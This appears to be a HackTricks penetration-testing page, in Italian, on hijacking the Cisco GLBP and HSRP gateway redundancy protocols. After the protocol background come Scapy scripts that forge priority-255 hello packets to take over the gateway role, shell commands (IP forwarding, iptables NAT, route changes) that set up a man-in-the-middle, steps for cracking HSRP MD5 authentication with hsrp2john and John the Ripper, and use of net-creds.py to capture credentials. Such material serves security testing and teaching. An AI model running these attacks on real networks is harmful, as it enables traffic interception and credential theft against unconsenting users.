GLBP & HSRP Attacchi

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica sull’Hijacking FHRP

Approfondimenti su FHRP

FHRP è progettato per fornire robustezza alla rete unendo più router in un’unica unità virtuale, migliorando così la distribuzione del carico e la tolleranza ai guasti. Cisco Systems ha introdotto protocolli importanti in questa suite, come GLBP e HSRP.

Approfondimenti sul protocollo GLBP

GLBP, creato da Cisco, opera sullo stack TCP/IP, utilizzando UDP sulla porta 3222 per la comunicazione. I router in un gruppo GLBP si scambiano pacchetti “hello” a intervalli di 3 secondi. Se un router non invia questi pacchetti per 10 secondi, si presume sia offline. Tuttavia, questi timer non sono fissi e possono essere modificati.

GLBP per IPv6 usa il multicast FF02::66 su UDP/3222, e il formato della MAC virtuale diventa 0007.b4xx.xxyy (l’ID AVF è nell’ultimo byte). I tempi e la superficie d’attacco rimangono gli stessi dell’IPv4, quindi le hijack techniques funzionano ancora nelle reti dual‑stack.

Funzionamento di GLBP e distribuzione del carico

GLBP si distingue permettendo la distribuzione del carico tra i router usando un unico IP virtuale abbinato a più indirizzi MAC virtuali. In un gruppo GLBP, ogni router partecipa all’inoltro dei pacchetti. Diversamente da HSRP/VRRP, GLBP offre un vero bilanciamento del carico attraverso diversi meccanismi:

  • Host-Dependent Load Balancing: Mantiene un’assegnazione consistente dell’indirizzo MAC AVF a un host, essenziale per configurazioni NAT stabili.
  • Round-Robin Load Balancing: L’approccio di default, alterna l’assegnazione degli indirizzi MAC AVF tra gli host richiedenti.
  • Weighted Round-Robin Load Balancing: Distribuisce il carico in base a metriche “Weight” predefinite.

Componenti chiave e terminologia in GLBP

  • AVG (Active Virtual Gateway): Il router principale, responsabile di allocare indirizzi MAC ai router peer.
  • AVF (Active Virtual Forwarder): Un router incaricato di gestire il traffico di rete.
  • GLBP Priority: Una metrica che determina l’AVG, con valore di default 100 e range tra 1 e 255.
  • GLBP Weight: Riflette il carico corrente su un router, regolabile manualmente o tramite Object Tracking.
  • GLBP Virtual IP Address: Serve come gateway predefinito della rete per tutti i dispositivi connessi.

Per le interazioni, GLBP utilizza l’indirizzo multicast riservato 224.0.0.102 e la porta UDP 3222. I router trasmettono pacchetti “hello” a intervalli di 3 secondi e sono considerati non operativi se viene perso un pacchetto per un periodo di 10 secondi.

Meccanismo di attacco GLBP

Un attacker può diventare il router primario inviando un pacchetto GLBP con il valore di priority più alto (255). Questo può portare a attacchi DoS o MITM, permettendo l’intercettazione o il reindirizzamento del traffico.

Pratico GLBP hijack con Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

Costruisci i byte del payload per imitare l’header GLBP (version/opcode/priority/weight/VRID). Ripetere il frame garantisce la vittoria nell’elezione AVG se l’authentication è assente.

Eseguire una GLBP Attack con Loki

Loki può eseguire una GLBP attack iniettando un pacchetto con priority e weight impostati a 255. I passaggi di pre-attack prevedono la raccolta di informazioni come il virtual IP address, la presenza di authentication e i valori di router priority usando strumenti come Wireshark.

Passaggi dell’attacco:

  1. Passa in promiscuous mode e abilita IP forwarding.
  2. Identifica il router target e recupera il suo IP.
  3. Genera un Gratuitous ARP.
  4. Inietta un pacchetto GLBP malevolo, impersonando l’AVG.
  5. Assegna un indirizzo IP secondario all’interfaccia di rete dell’attaccante, replicando il GLBP virtual IP.
  6. Implementa SNAT per la visibilità completa del traffico.
  7. Regola il routing per garantire l’accesso a internet continuo tramite il router AVG originale.

Seguendo questi passaggi, l’attaccante si posiziona come un “man in the middle”, in grado di intercettare e analizzare il traffico di rete, inclusi dati non criptati o sensibili.

Per dimostrazione, ecco gli snippet di comandi richiesti:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Il monitoraggio e l’intercettazione del traffico possono essere effettuati usando net-creds.py o strumenti simili per catturare e analizzare i dati che attraversano la rete compromessa.

Spiegazione passiva dell’HSRP Hijacking con dettagli sui comandi

Panoramica su HSRP (Hot Standby Router/Redundancy Protocol)

HSRP è un protocollo proprietario Cisco progettato per la ridondanza del gateway di rete. Permette la configurazione di più router fisici in una singola unità logica con un indirizzo IP condiviso. Questa unità logica è gestita da un router primario responsabile dell’instradamento del traffico. A differenza di GLBP, che usa metriche come priority e weight per il bilanciamento del carico, HSRP si basa su un singolo router attivo per la gestione del traffico.

HSRPv1 usa il multicast 224.0.0.2 e MAC virtuale 0000.0c07.acXX; HSRPv2 e HSRPv2 per IPv6 usano 224.0.0.102 / FF02::66 e MAC virtuale 0000.0c9f.fXXX. La porta di destinazione UDP è 1985 per IPv4 e 2029 per IPv6.

Ruoli e terminologia in HSRP

  • HSRP Active Router: Il dispositivo che funge da gateway, gestendo il flusso di traffico.
  • HSRP Standby Router: Un router di backup, pronto a subentrare se l’active router fallisce.
  • HSRP Group: Un insieme di router che collaborano per formare un singolo router virtuale resiliente.
  • HSRP MAC Address: Un indirizzo MAC virtuale assegnato al router logico nella configurazione HSRP.
  • HSRP Virtual IP Address: L’indirizzo IP virtuale del gruppo HSRP, che funge da gateway predefinito per i dispositivi connessi.

Versioni HSRP

HSRP è disponibile in due versioni, HSRPv1 e HSRPv2, che differiscono principalmente per capacità di gruppo, uso degli IP multicast e struttura dell’indirizzo MAC virtuale. Il protocollo utilizza indirizzi IP multicast specifici per lo scambio di informazioni di servizio, con pacchetti Hello inviati ogni 3 secondi. Un router è considerato inattivo se non riceve pacchetti entro un intervallo di 10 secondi.

Meccanismo d’attacco HSRP

Gli attacchi HSRP consistono nel prendere forzatamente il ruolo di Active Router iniettando un valore di priority massimo. Questo può portare a un attacco Man-In-The-Middle (MITM). Passaggi essenziali prima dell’attacco includono la raccolta di informazioni sulla configurazione HSRP, che può essere effettuata usando Wireshark per l’analisi del traffico.

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

Se l’autenticazione non è configurata, inviare continuamente hellos con priorità più alta forza i peer negli stati Speak/Listen e ti permette di diventare Active, reindirizzando il traffico attraverso il tuo host.

HSRP authentication corner cases

  • L’autenticazione legacy in chiaro è banalmente falsificabile.
  • L’autenticazione MD5 copre solo il payload HSRP; pacchetti appositamente creati possono comunque rate-limitare/DoSare i piani di controllo. Alcune release NX-OS in passato permettevano DoS contro gruppi autenticati (vedi Cisco advisory CSCup11309).
  • Su molte VLAN condivise di ISP/VPS, i multicast HSRPv1 sono visibili ai tenant; senza autenticazione puoi unirti e preemptare il traffico.

Passaggi per aggirare l’autenticazione HSRP

  1. Salva il traffico di rete contenente dati HSRP in un file .pcap.
tcpdump -w hsrp_traffic.pcap
  1. Estrai gli hash MD5 dal file .pcap usando hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Cracca gli hash MD5 usando John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes

Esecuzione di HSRP Injection con Loki

  1. Avvia Loki per identificare gli annunci HSRP.
  2. Imposta l’interfaccia di rete in modalità promiscua e abilita l’inoltro IP.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Usa Loki per mirare il router specifico, inserire la password HSRP craccata e eseguire le configurazioni necessarie per impersonare il Router Active.
  2. Dopo aver ottenuto il ruolo di Router Active, configura la tua interfaccia di rete e gli iptables per intercettare il traffico legittimo.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Modifica la tabella di routing per instradare il traffico attraverso il precedente Router Active.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Usa net-creds.py o un’utilità simile per catturare credenziali dal traffico intercettato.
sudo python2 net-creds.py -i eth0

Eseguire questi passaggi pone l’attaccante nella posizione di intercettare e manipolare il traffico, in modo simile alla procedura per GLBP hijacking. Questo mette in evidenza la vulnerabilità dei protocolli di ridondanza come HSRP e la necessità di misure di sicurezza robuste.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks